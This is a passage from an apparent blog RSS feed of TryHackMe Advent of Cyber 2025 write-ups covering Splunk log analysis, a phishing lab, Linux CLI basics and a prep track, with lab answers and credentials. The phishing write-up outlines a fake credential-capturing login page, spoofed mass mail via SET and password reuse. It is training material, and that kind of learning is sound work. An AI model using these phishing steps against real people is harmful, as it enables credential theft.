&lt;p&gt;&lt;strong&gt;If you enjoyed this room, consider checking other rooms in the Recent Threats module.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/1.DK9B65Em.webp"/><enclosure url="/_astro/1.DK9B65Em.webp"/></item><item><title>Splunk | Advent of Cyber 2025 Day 3 Write-Up</title><link>https://farros.co/blog/splunk-advent-of-cyber-2025-day-3-write-up/</link><guid isPermaLink="true">https://farros.co/blog/splunk-advent-of-cyber-2025-day-3-write-up/</guid><description>TryHackMe Write-Up for Advent of Cyber 2025.</description><pubDate>Sun, 21 Dec 2025 21:31:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/splunkforloganalysis-aoc2025-x8fj2k4rqp&quot;&gt;Splunk | Advent of Cyber 2025 (Day 3)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is the extracted material formatted according to your requirements.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;The story begins in Wareville, where The Best Festival Company (TBFC) is preparing for Christmas. However, a ransom message from King Malhare appears, threatening to turn the holiday into &quot;EAST-mas.&quot; With the network under attack and McSkidy missing, the SOC team must utilize &lt;strong&gt;Splunk&lt;/strong&gt; to investigate the ransomware infiltration and stop the plan.&lt;/p&gt;
&lt;p&gt;The learning objectives for this task include ingesting custom log data, creating field extractions, using Search Processing Language (SPL), and conducting a forensic investigation. The environment contains a pre-configured Splunk instance with the necessary logs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I successfully have access to the Splunk instance!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Log Analysis with Splunk&lt;/h2&gt;
&lt;p&gt;In this task, we investigate the incident using two pre-ingested datasets: &lt;code&gt;web_traffic&lt;/code&gt; (web server logs) and &lt;code&gt;firewall_logs&lt;/code&gt; (traffic allowed/blocked). The investigation process follows these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Initial Triage:&lt;/strong&gt; querying &lt;code&gt;index=main&lt;/code&gt; reveals a massive spike in traffic. Using &lt;code&gt;timechart&lt;/code&gt;, we can pinpoint the exact day of the attack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anomaly Detection:&lt;/strong&gt; Analyzing the &lt;code&gt;user_agent&lt;/code&gt; field shows suspicious tools (unlike standard Mozilla/Chrome browsers). Filtering out benign traffic reveals a single attacker IP address.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracing the Attack Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reconnaissance:&lt;/strong&gt; The attacker used tools like &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;wget&lt;/code&gt; to probe for configuration files (e.g., &lt;code&gt;/.env&lt;/code&gt;, &lt;code&gt;/.git&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enumeration:&lt;/strong&gt; Path traversal attempts (&lt;code&gt;../../&lt;/code&gt;) were detected to access system files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation:&lt;/strong&gt; SQL Injection attacks were identified via user agents like &lt;code&gt;sqlmap&lt;/code&gt; and &lt;code&gt;Havij&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exfiltration:&lt;/strong&gt; Large files (&lt;code&gt;backup.zip&lt;/code&gt;, &lt;code&gt;logs.tar.gz&lt;/code&gt;) were downloaded.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ransomware Staging:&lt;/strong&gt; A web shell (&lt;code&gt;shell.php&lt;/code&gt;) was used to execute a ransomware binary (&lt;code&gt;bunnylock.bin&lt;/code&gt;), confirming Remote Code Execution (RCE).&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;C2 Correlation:&lt;/strong&gt; By pivoting to &lt;code&gt;firewall_logs&lt;/code&gt;, we confirmed the compromised server (10.10.1.5) established an outbound connection to the attacker&apos;s IP, transferring a significant volume of data.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;What is the attacker IP found attacking and compromising the web server?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;index=main sourcetype=web_traffic&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20134028.DjORP4kr_GJDq6.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;198.51.100.55&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which day was the peak traffic in the logs?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;index=main sourcetype=web_traffic&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20134139.qe_zwJPa_966Bm.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2025-10-12&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the count of Havij user_agent events found in the logs?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;index=main sourcetype=web_traffic user_agent=&lt;em&gt;Havij&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20134300.8c9ZJoHl_Z2wA3DG.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;993&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;How many path traversal attempts to access sensitive files on the server were observed?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;index=main sourcetype=web_traffic path=&quot;&lt;em&gt;../../&lt;/em&gt;&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20134336.BVsn95dO_Z2gheKx.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;658&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Examine the firewall logs. How many bytes were transferred to the C2 server IP from the compromised web server?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;index=main sourcetype=firewall_logs action=ALLOWED| stats sum(bytes_transferred)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20135021.C-ciFFFG_2rpw9G.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;126167&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;If you enjoyed today&apos;s room, check out the Incident Handling With Splunk room to learn more about analyzing logs with Splunk.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.BK4cfW5e.png"/><enclosure url="/_astro/image.BK4cfW5e.png"/></item><item><title>Phising | Advent of Cyber 2025 Day 2 Write-Up</title><link>https://farros.co/blog/phising-advent-of-cyber-2025-day-2-write-up/</link><guid isPermaLink="true">https://farros.co/blog/phising-advent-of-cyber-2025-day-2-write-up/</guid><description>TryHackMe Write-Up for Advent of Cyber 2025.</description><pubDate>Sun, 21 Dec 2025 06:35:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/phishing-aoc2025-h2tkye9fzU&quot;&gt;Phising | Advent of Cyber 2025 (Day 2)&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This section introduces the scenario: The Best Festival Company (TBFC) has faced security threats, prompting a Red Team assessment. You are working with &quot;Recon McRed&quot; and others to execute a phishing campaign to test employee diligence. The objective is to learn about social engineering, types of phishing, creating fake login pages, and using the Social-Engineer Toolkit. This task also involves initializing the necessary AttackBox and Target VM environments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I have successfully started the AttackBox and the target machine!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Phishing Exercise for TBFC&lt;/h2&gt;
&lt;p&gt;This task dives into the mechanics of social engineering and phishing. It defines &lt;strong&gt;Social Engineering&lt;/strong&gt; as manipulating humans into making security mistakes by exploiting psychology (urgency, curiosity, authority), and &lt;strong&gt;Phishing&lt;/strong&gt; as a subset of this using communication mediums like email.&lt;/p&gt;
&lt;p&gt;The task outlines the &lt;strong&gt;S.T.O.P.&lt;/strong&gt; method for defense (Suspicious, Telling, Offering, Pushing) and guides the user through a Red Team attack simulation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Building the Trap:&lt;/strong&gt; A fake TBFC login page script (&lt;code&gt;server.py&lt;/code&gt;) is provided. When run, it hosts a web server on port 8000 to capture credentials.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivery:&lt;/strong&gt; Using the &lt;strong&gt;Social-Engineer Toolkit (SET)&lt;/strong&gt; (&lt;code&gt;setoolkit&lt;/code&gt;), the attacker configures a &quot;Mass Mailer Attack&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Configuration:&lt;/strong&gt; The email is spoofed to look like it comes from &quot;Flying Deer&quot; (&lt;code&gt;updates@flyingdeer.thm&lt;/code&gt;) and is sent to &lt;code&gt;factory@wareville.thm&lt;/code&gt; via the internal SMTP server. The body contains the link to the malicious server (&lt;code&gt;http://&amp;#x3C;IP&gt;:8000&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation:&lt;/strong&gt; Once the target clicks the link and logs in, the credentials are captured in the attacker&apos;s terminal.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;What is the password used to access the TBFC portal?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20062704.BYEBIiSI_Z1IvsUP.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;unranked-wisdom-anthem&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Browse to &lt;a href=&quot;http://10.49.171.168&quot;&gt;http://10.49.171.168&lt;/a&gt; from within the AttackBox and try to access the mailbox of the factory user to see if the previously harvested admin password has been reused on the email portal. What is the total number of toys expected for delivery?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20062821.Dl-8S0qw_Z1tTO5f.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-21%20063038.Bu9T9rjM_ZRn0L9.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1984000&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;If you enjoyed today&apos;s room, feel free to check out the Phishing Prevention room.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.Cl1mNVqL.png"/><enclosure url="/_astro/image.Cl1mNVqL.png"/></item><item><title>Linux CLI | Advent of Cyber 2025 Day 1 Write-Up</title><link>https://farros.co/blog/linux-cli-advent-of-cyber-2025-day-1-write-up/</link><guid isPermaLink="true">https://farros.co/blog/linux-cli-advent-of-cyber-2025-day-1-write-up/</guid><description>TryHackMe Write-Up for Advent of Cyber 2025.</description><pubDate>Sat, 20 Dec 2025 15:40:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/linuxcli-aoc2025-o1fpqkvxti&quot;&gt;Linux CLI | Advent of Cyber 2025 (Day 1)&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;The narrative begins with the kidnapping of McSkidy, leaving Wareville&apos;s defenses vulnerable to King Malhare. The investigation centers on &lt;strong&gt;tbfc-web01&lt;/strong&gt;, a Linux server responsible for processing Christmas wishlists. The goal is to use the Linux command-line interface (CLI) to find clues about the attack. Users are instructed to start the attached virtual machine and can connect via the browser-based split view or SSH using the provided credentials (&lt;code&gt;mcskidy&lt;/code&gt; / &lt;code&gt;AoC2025!&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I have successfully started my virtual machine!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Linux CLI&lt;/h2&gt;
&lt;p&gt;This task provides a crash course in using the Linux CLI for investigation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Basic Commands &amp;#x26; Navigation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;echo &quot;text&quot;&lt;/code&gt;&lt;/strong&gt;: Prints text to the terminal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/strong&gt;: Lists directory contents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cat filename&lt;/code&gt;&lt;/strong&gt;: Displays the contents of a file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cd Directory&lt;/code&gt;&lt;/strong&gt;: Changes the current directory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hidden Files&lt;/strong&gt;: Files starting with a dot (e.g., &lt;code&gt;.guide.txt&lt;/code&gt;) are hidden. They can be viewed using &lt;code&gt;ls -la&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Investigation Steps:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Grepping Logs:&lt;/strong&gt; The guide instructs users to look into &lt;code&gt;/var/log/&lt;/code&gt; for security events. The &lt;code&gt;grep&lt;/code&gt; command is used to filter large log files, specifically looking for &quot;Failed password&quot; in &lt;code&gt;auth.log&lt;/code&gt; to identify unauthorized login attempts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding Files:&lt;/strong&gt; The &lt;code&gt;find&lt;/code&gt; command (e.g., &lt;code&gt;find /home/socmas -name *egg*&lt;/code&gt;) is used to locate specific files, revealing a malicious script named &lt;code&gt;eggstrike.sh&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Analyzing Scripts:&lt;/strong&gt; The malicious script utilizes special shell features:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pipe (&lt;code&gt;|&lt;/code&gt;)&lt;/strong&gt;: Sends the output of one command to another (e.g., &lt;code&gt;sort | uniq&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redirect (&lt;code&gt;&gt;&lt;/code&gt;)&lt;/strong&gt;: Overwrites a file with output.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Logic (&lt;code&gt;&amp;#x26;&amp;#x26;&lt;/code&gt;)&lt;/strong&gt;: Runs the next command only if the previous one succeeds.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;System Administration:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Root User&lt;/strong&gt;: The superuser with full permissions. Users can switch to root using &lt;code&gt;sudo su&lt;/code&gt; and verify their identity with &lt;code&gt;whoami&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bash History&lt;/strong&gt;: A history of executed commands is stored in &lt;code&gt;.bash_history&lt;/code&gt;. Checking the root user&apos;s history reveals the attacker&apos;s activities, including the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Which CLI command would you use to list a directory?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ls&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Complete on machine&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20151243.rl9YHDdz_Z13n0Ft.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which command helped you filter the logs for failed logins?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;grep&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Complete on machine&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20151738.DZq2PzQw_Z5X8pq.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which command would you run to switch to the root user?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sudo su&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Finally, what flag did Sir Carrotbane leave in the root bash history?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20151925.BRr1nj39_ZBjTCS.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;For those who consider themselves intermediate and want another challenge, check McSkidy&apos;s hidden note in /home/mcskidy/Documents/ to get access to the key for Side Quest 1! Accessible through our Side Quest Hub!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Enjoyed investigating in a Linux environment? Check out our Linux Logs Investigations room for more like this!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.B6VO8KM_.png"/><enclosure url="/_astro/image.B6VO8KM_.png"/></item><item><title>Advent of Cyber Prep Track | TryHackMe Write-Up</title><link>https://farros.co/blog/advent-of-cyber-prep-track-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/advent-of-cyber-prep-track-tryhackme-write-up/</guid><description>Get ready for the Advent of Cyber 2025 with the &quot;Advent of Cyber Prep Track&quot;.</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/adventofcyberpreptrack&quot;&gt;Advent of Cyber Prep Track&lt;/a&gt;. Get ready for the Advent of Cyber 2025 with the &quot;Advent of Cyber Prep Track&quot;, a series of warm-up tasks aimed to get beginners ready for this year&apos;s event.&lt;/p&gt;
&lt;h2&gt;Task 1: Welcome to Advent of Cyber 2025&lt;/h2&gt;
&lt;p&gt;This task introduces the Advent of Cyber 2025 event. The story is set in Wareville, where the &quot;SOC-mas&quot; tradition is threatened by King Malhare. The event features daily beginner-friendly security challenges. Participants can win from a $150,000 prize pool (including MacBooks, iPhones, and Flipper Zeros) by completing rooms by December 31, 2025. Strict rules prohibit cheating, bot usage, and attacking other users or infrastructure. A certificate is awarded for completing all rooms.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Got it!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: How to use TryHackMe&lt;/h2&gt;
&lt;p&gt;This section explains the technical interface of TryHackMe. It details how to use the &quot;AttackBox&quot; (a web-based Ubuntu VM) and how to deploy standard Virtual Machines (VMs) for tasks. It covers the split-screen view feature, direct links for specific tools, and alternative connection methods using OpenVPN or direct remote connections (RDP/SSH/VNC) when credentials are provided.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Got it!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Join our community&lt;/h2&gt;
&lt;p&gt;This task encourages participants to join the TryHackMe social channels for updates and support. It highlights the Discord server (with over 326,000 members) as the main hub for connecting with other hackers and getting help. Links are provided for LinkedIn, X (Twitter), Instagram, Facebook, Reddit, and TikTok. It also mentions available Advent of Cyber swag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Got it!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Introduction&lt;/h2&gt;
&lt;p&gt;The narrative begins with snow falling in Wareville at The Best Festival Company (TBFC). Systems are glitching due to suspected interference by King Malhare. Before the main event starts, users are tasked with 10 short &quot;warm-up&quot; missions to practice essential cybersecurity skills. The interface instruction explains how to use the &quot;View Site&quot; button to open challenges in split-screen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Warm me up!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Challenge 1 — Password Pandemonium&lt;/h2&gt;
&lt;p&gt;McSkidy&apos;s workstation has flagged weak passwords. This challenge focuses on the importance of strong passwords as a defense mechanism. The objective is to create a secure password that meets specific criteria: at least 12 characters, including uppercase, lowercase, numbers, and symbols, and ensuring it does not appear in a breach database.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20110728.Zq6HIwxl_19LdYb.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Challenge 2 — The Suspicious Chocolate.exe&lt;/h2&gt;
&lt;p&gt;A mysterious USB labeled &quot;SOCMAS Party Playlist&quot; contains a suspicious file named &lt;code&gt;chocolate.exe&lt;/code&gt;. This task simulates using a malware analysis tool (like VirusTotal). The user must scan the file to review its report and determine if it is safe or malicious based on the scan results.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20110831.wn8Pa6KW_Z23onoh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: Challenge 3 — Welcome to the AttackBox&lt;/h2&gt;
&lt;p&gt;This task introduces the AttackBox environment and the command line interface (CLI). It emphasizes that defenders must be comfortable with the CLI. The objective is to use basic Linux commands: &lt;code&gt;ls&lt;/code&gt; to list files, &lt;code&gt;cd&lt;/code&gt; to navigate directories, and &lt;code&gt;cat&lt;/code&gt; to read a text file named &lt;code&gt;welcome.txt&lt;/code&gt; to find the hidden message.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20110932.C4TK4x47_4QCoG.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8: Challenge 4 — The CMD Conundrum&lt;/h2&gt;
&lt;p&gt;McSkidy&apos;s workstation shows signs of tampering with logs wiped and strange folders created. The task focuses on using the Windows Command Prompt to investigate. The user is required to use the &lt;code&gt;dir&lt;/code&gt; command to list files and specifically &lt;code&gt;dir /a&lt;/code&gt; to reveal hidden files, then use &lt;code&gt;type&lt;/code&gt; to read the content of a hidden flag file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20111154.BLvh5nDO_Qygww.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 9: Challenge 5 — Linux Lore&lt;/h2&gt;
&lt;p&gt;Delivery drones are glitching, and an investigation points to a login from a Linux server. This challenge highlights the importance of navigating Linux filesystems. The objective is to find a hidden message in McSkidy’s home directory by entering the folder and using &lt;code&gt;ls -la&lt;/code&gt; to reveal hidden &quot;dotfiles&quot; (like &lt;code&gt;.secret_message&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20111326.ddtzVx5W_Z1eHgfs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 10: Challenge 6 — The Leak in the List&lt;/h2&gt;
&lt;p&gt;There are rumors of a data leak at TBFC. This task simulates using a breach checking tool (similar to Have I Been Pwned). The objective is to check McSkidy’s email address (&lt;code&gt;mcskidy@tbfc.com&lt;/code&gt;) against a database to see if the account has been compromised in any known data breaches.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20111722.BqPchVc__1Dcu69.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 11: Challenge 7 — WiFi Woes in Wareville&lt;/h2&gt;
&lt;p&gt;Drones are behaving erratically because someone logged into the company router using default credentials. This task emphasizes the security risk of leaving default passwords active. The user must log into the router using &lt;code&gt;admin&lt;/code&gt;/&lt;code&gt;admin&lt;/code&gt;, navigate to security settings, and update the password to a secure one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20111844.AEdvB8Yr_ZUivnB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 12: Challenge 8 — The App Trap&lt;/h2&gt;
&lt;p&gt;McSkidy&apos;s social account is posting strange messages due to a suspicious third-party application. The task teaches how to manage and review app permissions to prevent data leaks. The objective is to identify a connected app with excessive permissions (such as access to a password vault) and revoke its access.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20112054.8eN6ooyB_1MNmCk.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 13: Challenge 9 — The Chatbot Confession&lt;/h2&gt;
&lt;p&gt;The AI assistant, FestiveBot, has been leaking internal secrets. This task focuses on the risks of AI oversharing sensitive data. The user must review the chatbot&apos;s conversation history to identify specific lines where the bot revealed private information, such as internal URLs or passwords.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20112912.Be-OQK1k_2cXnIM.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 14: Challenge 10 — The Bunny’s Browser Trail&lt;/h2&gt;
